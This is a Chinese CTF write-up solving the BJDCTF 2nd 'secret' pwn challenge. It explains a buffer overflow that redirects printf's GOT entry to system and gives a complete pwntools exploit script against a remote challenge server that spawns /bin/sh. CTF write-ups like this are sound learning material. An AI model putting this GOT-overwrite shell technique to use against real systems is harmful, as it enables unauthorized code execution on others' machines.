[BUUCTF]PWN——[BJDCTF 2nd]secret

[BJDCTF 2nd]secret

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述
  2. 本地试运行一下,看看程序大概的情况,好像是一个什么游戏
    在这里插入图片描述
  3. 64位ida载入,检索程序里的字符串,发现了flag字样
    在这里插入图片描述
  4. 双击,ctrl+x找到了函数
    在这里插入图片描述
  5. sub_46A3F(),游戏开始界面,让我们输入名字
    在这里插入图片描述
    sub_40136D()函数太长了,没法f5
    看汇编,看到首先调用了sub_46A329函数,在sub_46A329里读入了一个数据,off_46D090-1,然后跟标记处的数据比较,如果正确的话,就跳转到loc_401392,loc_401392跟sub_40136D是一样的操作,只要有一次不对就会退出
    在这里插入图片描述
    sub_46A329
    在这里插入图片描述

分析到这儿,对程序大概了解了,要让我们猜对数据1000次,都成功了,就会执行main函数里的system(cat /flag)获取flag的值,感觉真去程序里扣1000个数据,有点不太现实

查看buf参数的时候发现,那个控制次数的变量就在buf后面,我们read可以读入0x16个字符,可以将off_46D090处覆盖掉
在这里插入图片描述
一开始的想法是将这个地方改为1,这样猜对一次后就可以直接获取flag,感觉思路没问题,但是不懂为什么打不通,可能是我修改的方法不对吧

做不下去了,去百度了一下网上其他师傅的wp

看wp可知,system的plt和printf的plt相差只有0x10
在这里插入图片描述
当比较数据错误的时候,会跳转到该处,里面调用了print函数,输出我们一开始输入的名字
在这里插入图片描述
如果将printf的plt地址改为system函数的plt地址,这样执行错误的时候就会执行system函数了,我们一开始输入名字的时候如果输入‘/bin/sh’,这样在这边就能直接获取shell了

如何修改呢,在我们刚刚所说的off_46D090处
由于每猜一次,这个指针所指的内容就会减去1,那么如果在这里放上printf的plt表,然后猜对15次,再猜错一次,那这个值就减去了0x10(16),那就刚好变成了system(很神奇)

思路清楚了,上exp

from pwn import *
 
#p = process('./secret')
r = remote('node3.buuoj.cn',28901)
elf = ELF('./secret')
printf_got = elf.got['printf']
 
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/shx00'.ljust(0x10,'x00') + p32(printf_got)
r.sendafter("What's your name?",payload)

for x in answer:
	r.sendlineafter('Secret:',str(x))

r.sendlineafter('Secret:','1')
 
r.interactive()

在这里插入图片描述
参考wp:https://www.yuque.com/u239977/cbzkn3/wml031

原文地址:https://www.cnblogs.com/xlrp/p/14273631.html